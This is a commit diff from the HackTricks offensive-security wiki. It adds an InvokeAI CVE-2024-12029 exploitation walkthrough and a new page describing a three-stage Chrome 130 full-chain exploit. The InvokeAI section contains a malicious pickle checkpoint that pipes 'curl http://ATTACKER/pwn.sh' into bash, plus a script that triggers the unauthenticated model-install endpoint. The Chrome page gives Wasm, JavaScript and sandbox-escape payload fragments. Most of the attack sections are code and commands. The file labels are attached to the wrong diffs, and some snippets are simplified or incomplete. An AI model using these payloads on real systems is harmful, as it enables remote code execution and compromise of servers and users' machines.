Merge branch 'master' of github.com:HackTricks-wiki/hacktricks

Author: carlospolop

searchindex.js

@@ -23,10 +23,86 @@ At the time of the writting these are some examples of this type of vulneravilit
 | **Keras (older formats)**   | *(No new CVE)* Legacy Keras H5 model                                                                                         | Malicious HDF5 (`.h5`) model with Lambda layer code still executes on load (Keras safe_mode doesn’t cover old format – “downgrade attack”) | |
 | **Others** (general)        | *Design flaw* – Pickle serialization                                                                                         | Many ML tools (e.g., pickle-based model formats, Python `pickle.load`) will execute arbitrary code embedded in model files unless mitigated | |
 
-
 Moreover, there some python pickle based models like the ones used by [PyTorch](https://github.com/pytorch/pytorch/security) that can be used to execute arbitrary code on the system if they are not loaded with `weights_only=True`. So, any pickle based model might be specially susceptible to this type of attacks, even if they are not listed in the table above.
 
-Example:
+### 🆕  InvokeAI RCE via `torch.load` (CVE-2024-12029)
+
+`InvokeAI` is a popular open-source web interface for Stable-Diffusion. Versions **5.3.1 – 5.4.2** expose the REST endpoint `/api/v2/models/install` that lets users download and load models from arbitrary URLs.
+
+Internally the endpoint eventually calls:
+
+```python
+checkpoint = torch.load(path, map_location=torch.device("meta"))
+```
+
+When the supplied file is a **PyTorch checkpoint (`*.ckpt`)**, `torch.load` performs a **pickle deserialization**.  Because the content comes directly from the user-controlled URL, an attacker can embed a malicious object with a custom `__reduce__` method inside the checkpoint; the method is executed **during deserialization**, leading to **remote code execution (RCE)** on the InvokeAI server.
+
+The vulnerability was assigned **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %).
+
+#### Exploitation walk-through
+
+1. Create a malicious checkpoint:
+
+```python
+# payload_gen.py
+import pickle, torch, os
+
+class Payload:
+    def __reduce__(self):
+        return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))
+
+with open("payload.ckpt", "wb") as f:
+    pickle.dump(Payload(), f)
+```
+
+2. Host `payload.ckpt` on an HTTP server you control (e.g. `http://ATTACKER/payload.ckpt`).
+3. Trigger the vulnerable endpoint (no authentication required):
+
+```python
+import requests
+
+requests.post(
+    "http://TARGET:9090/api/v2/models/install",
+    params={
+        "source": "http://ATTACKER/payload.ckpt",  # remote model URL
+        "inplace": "true",                         # write inside models dir
+        # the dangerous default is scan=false → no AV scan
+    },
+    json={},                                         # body can be empty
+    timeout=5,
+)
+```
+
+4. When InvokeAI downloads the file it calls `torch.load()` → the `os.system` gadget runs and the attacker gains code execution in the context of the InvokeAI process.
+
+Ready-made exploit: **Metasploit** module `exploit/linux/http/invokeai_rce_cve_2024_12029` automates the whole flow.
+
+#### Conditions
+
+•  InvokeAI 5.3.1-5.4.2 (scan flag default **false**)
+•  `/api/v2/models/install` reachable by the attacker
+•  Process has permissions to execute shell commands
+
+#### Mitigations
+
+* Upgrade to **InvokeAI ≥ 5.4.3** – the patch sets `scan=True` by default and performs malware scanning before deserialization.
+* When loading checkpoints programmatically use `torch.load(file, weights_only=True)` or the new [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) helper.
+* Enforce allow-lists / signatures for model sources and run the service with least-privilege.
+
+> ⚠️ Remember that **any** Python pickle-based format (including many `.pt`, `.pkl`, `.ckpt`, `.pth` files) is inherently unsafe to deserialize from untrusted sources.
+
+---
+
+Example of an ad-hoc mitigation if you must keep older InvokeAI versions running behind a reverse proxy:
+
+```nginx
+location /api/v2/models/install {
+    deny all;                       # block direct Internet access
+    allow 10.0.0.0/8;               # only internal CI network can call it
+}
+```
+
+## Example – crafting a malicious PyTorch model
 
 - Create the model:
 
@@ -67,7 +143,6 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
 # /tmp/pwned.txt is created even if you get an error
 ```
 
-
 ## Models to Path Traversal
 
 As commented in [**this blog post**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), most models formats used by different AI frameworks are based on archives, usually `.zip`. Therefore, it might be possible to abuse these formats to perform path traversal attacks, allowing to read arbitrary files from the system where the model is loaded.
@@ -102,4 +177,11 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
     tf.add(PAYLOAD)                      # rides the symlink
 ```
 
-{{#include ../banners/hacktricks-training.md}}
+## References
+
+- [OffSec blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/)
+- [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
+- [Rapid7 Metasploit module documentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
+- [PyTorch – security considerations for torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
+
+{{#include ../banners/hacktricks-training.md}}

src/AI/AI-Models-RCE.md

@@ -283,6 +283,7 @@
   - [Privileged Groups](windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md)
   - [RDP Sessions Abuse](windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
   - [Resource-based Constrained Delegation](windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md)
+  - [Sccm Management Point Relay Sql Policy Secrets](windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md)
   - [Security Descriptors](windows-hardening/active-directory-methodology/security-descriptors.md)
   - [SID-History Injection](windows-hardening/active-directory-methodology/sid-history-injection.md)
   - [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md)
@@ -334,6 +335,7 @@
     - [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
     - [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
   - [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
+  - [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
   - [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
   - [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
   - [Make APK Accept CA Certificate](mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md)
@@ -347,6 +349,7 @@
   - [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
 - [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md)
 - [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md)
+  - [Air Keyboard Remote Input Injection](mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md)
   - [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md)
   - [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md)
   - [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md)
@@ -759,6 +762,7 @@
   - [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
     - [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
 - [Array Indexing](binary-exploitation/array-indexing.md)
+- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
 - [Integer Overflow](binary-exploitation/integer-overflow.md)
 - [Format Strings](binary-exploitation/format-strings/README.md)
   - [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)

src/SUMMARY.md

@@ -0,0 +1,184 @@
+# Chrome Exploiting
+
+{{#include ../banners/hacktricks-training.md}}
+
+> This page provides a high-level yet **practical** overview of a modern "full-chain" exploitation workflow against Google Chrome 130 based on the research series **“101 Chrome Exploitation”** (Part-0 — Preface).  
+> The goal is to give pentesters and exploit-developers the minimum background necessary to reproduce or adapt the techniques for their own research.
+
+## 1. Chrome Architecture Recap  
+Understanding the attack surface requires knowing where code is executed and which sandboxes apply.
+
+```
++-------------------------------------------------------------------------+
+|                             Chrome Browser                              |
+|                                                                         |
+|  +----------------------------+      +-----------------------------+    |
+|  |      Renderer Process      |      |    Browser/main Process     |    |
+|  |  [No direct OS access]     |      |  [OS access]                |    |
+|  |  +----------------------+   |      |                             |    |
+|  |  |    V8 Sandbox        |   |      |                             |    |
+|  |  |  [JavaScript / Wasm] |   |      |                             |    |
+|  |  +----------------------+   |      |                             |    |
+|  +----------------------------+      +-----------------------------+    |
+|               |           IPC/Mojo              |                       |
+|               V                                    |                     |
+|  +----------------------------+                   |                     |
+|  |        GPU Process         |                   |                     |
+|  |  [Restricted OS access]    |                   |                     |
+|  +----------------------------+                   |                     |
++-------------------------------------------------------------------------+
+```
+
+Layered defence-in-depth:
+
+* **V8 sandbox** (Isolate): memory permissions are restricted to prevent arbitrary read/write from JITed JS / Wasm.
+* **Renderer ↔ Browser split** ensured via **Mojo/IPC** message passing; the renderer has *no* native FS/network access.
+* **OS sandboxes** further contain each process (Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profiles).
+
+A *remote* attacker therefore needs **three** successive primitives:
+
+1. Memory corruption inside V8 to get **arbitrary RW inside the V8 heap**.
+2. A second bug allowing the attacker to **escape the V8 sandbox to full renderer memory**.
+3. A final sandbox-escape (often logic rather than memory corruption) to execute code **outside of the Chrome OS sandbox**.
+
+---
+
+## 2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)
+
+A flaw in TurboFan’s **Turboshaft** optimisation mis-classifies **WasmGC reference types** when the value is produced and consumed inside a *single basic block loop*.
+
+Effect:
+* The compiler **skips the type-check**, treating a *reference* (`externref/anyref`) as an *int64*.
+* Crafted Wasm allows overlapping a JS object header with attacker-controlled data → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR primitives**.
+
+Minimal PoC (excerpt):
+
+```WebAssembly
+(module
+  (type $t0 (func (param externref) (result externref)))
+  (func $f (param $p externref) (result externref)
+    (local $l externref)
+    block $exit
+      loop $loop
+        local.get $p      ;; value with real ref-type
+        ;; compiler incorrectly re-uses it as int64 in the same block
+        br_if $exit       ;; exit condition keeps us single-block
+        br   $loop
+      end
+    end)
+  (export "f" (func $f)))
+```
+
+Trigger optimisation & spray objects from JS:
+
+```js
+const wasmMod = new WebAssembly.Module(bytes);
+const wasmInst = new WebAssembly.Instance(wasmMod);
+const f = wasmInst.exports.f;
+
+for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT
+
+// primitives
+let victim   = {m: 13.37};
+let fake     = arbitrary_data_backed_typedarray;
+let addrVict = addrOf(victim);
+```
+
+Outcome: **arbitrary read/write within V8**.
+
+---
+
+## 3. Stage 2 – Escaping the V8 Sandbox (issue 379140430)
+
+When a Wasm function is tier-up-compiled, a **JS ↔ Wasm wrapper** is generated.  A signature-mismatch bug causes the wrapper to write past the end of a trusted **`Tuple2`** object when the Wasm function is re-optimised *while still on the stack*.
+
+Overwriting the 2 × 64-bit fields of the `Tuple2` object yields **read/write on any address inside the Renderer process**, effectively bypassing the V8 sandbox.
+
+Key steps in exploit:
+1. Get function into **Tier-Up** state by alternating turbofan/baseline code.
+2. Trigger tier-up while keeping a reference on the stack (`Function.prototype.apply`).
+3. Use Stage-1 AAR/AAW to find & corrupt the adjacent `Tuple2`.
+
+Wrapper identification:
+
+```js
+function wrapperGen(arg) {
+  return f(arg);
+}
+%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
+wrapperGen(0x1337n);
+```
+
+After corruption we possess a fully-featured **renderer R/W primitive**.
+
+---
+
+## 4. Stage 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)
+
+The **Mojo** IPC interface `blink.mojom.DragService.startDragging()` can be called from the Renderer with *partially trusted* parameters.  By crafting a `DragData` structure pointing to an **arbitrary file path** the renderer convinces the browser to perform a *native* drag-and-drop **outside the renderer sandbox**.
+
+Abusing this we can programmatically “drag” a malicious EXE (previously dropped in a world-writable location) onto the Desktop, where Windows automatically executes certain file-types once dropped.
+
+Example (simplified):
+
+```js
+const payloadPath = "C:\\Users\\Public\\explorer.exe";
+
+chrome.webview.postMessage({
+  type: "DragStart",
+  data: {
+    title: "MyFile",
+    file_path: payloadPath,
+    mime_type: "application/x-msdownload"
+  }
+});
+```
+
+No additional memory corruption is necessary – the **logic flaw** gives us arbitrary file execution with the user’s privileges.
+
+---
+
+## 5. Full Chain Flow
+
+1. **User visits** malicious webpage.
+2. **Stage 1**: Wasm module abuses CVE-2025-0291 → V8 heap AAR/AAW.
+3. **Stage 2**: Wrapper mismatch corrupts `Tuple2` → escape V8 sandbox.
+4. **Stage 3**: `startDragging()` IPC → escape OS sandbox & execute payload.
+
+Result: **Remote Code Execution (RCE)** on the host (Chrome 130, Windows/Linux/macOS).
+
+---
+
+## 6. Lab & Debugging Setup
+
+```bash
+# Spin-up local HTTP server w/ PoCs
+npm i -g http-server
+git clone https://github.com/Petitoto/chromium-exploit-dev
+cd chromium-exploit-dev
+http-server -p 8000 -c -1
+
+# Windows kernel debugging
+"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
+```
+
+Useful flags when launching a *development* build of Chrome:
+
+```bash
+chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
+```
+
+---
+
+## Takeaways
+
+* **WebAssembly JIT bugs** remain a reliable entry-point – the type system is still young.
+* Obtaining a second memory-corruption bug inside V8 (e.g. wrapper mismatch) greatly simplifies **V8-sandbox escape**.
+* Logic-level weaknesses in privileged Mojo IPC interfaces are often sufficient for a **final sandbox escape** – keep an eye on *non-memory* bugs.
+
+
+
+## References
+* [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
+* [Chromium security architecture](https://chromium.org/developers/design-documents/security)
+{{#include ../banners/hacktricks-training.md}}